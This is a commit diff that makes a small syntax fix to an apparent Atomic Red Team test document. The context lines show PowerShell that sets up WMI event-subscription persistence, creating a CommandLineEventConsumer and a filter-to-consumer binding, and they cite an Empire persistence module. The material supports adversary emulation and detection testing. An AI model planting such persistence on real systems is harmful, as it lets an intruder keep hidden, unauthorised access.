minor syntax update
Just updating the syntax on the $filtertoconsumerargs
This commit is contained in:
@@ -22,8 +22,8 @@ $ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-Example';
|
||||
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
|
||||
|
||||
$FilterToConsumerArgs = @{
|
||||
Filter = [Ref] $Filter
|
||||
Consumer = [Ref] $Consumer
|
||||
Filter = [Ref] $Filter;
|
||||
Consumer = [Ref] $Consumer;
|
||||
}
|
||||
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
|
||||
```
|
||||
@@ -50,4 +50,4 @@ $EventFilterToCleanup | Remove-WmiObject
|
||||
#### References
|
||||
|
||||
https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af
|
||||
https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545
|
||||
https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545
|
||||
|
||||
Reference in New Issue
Block a user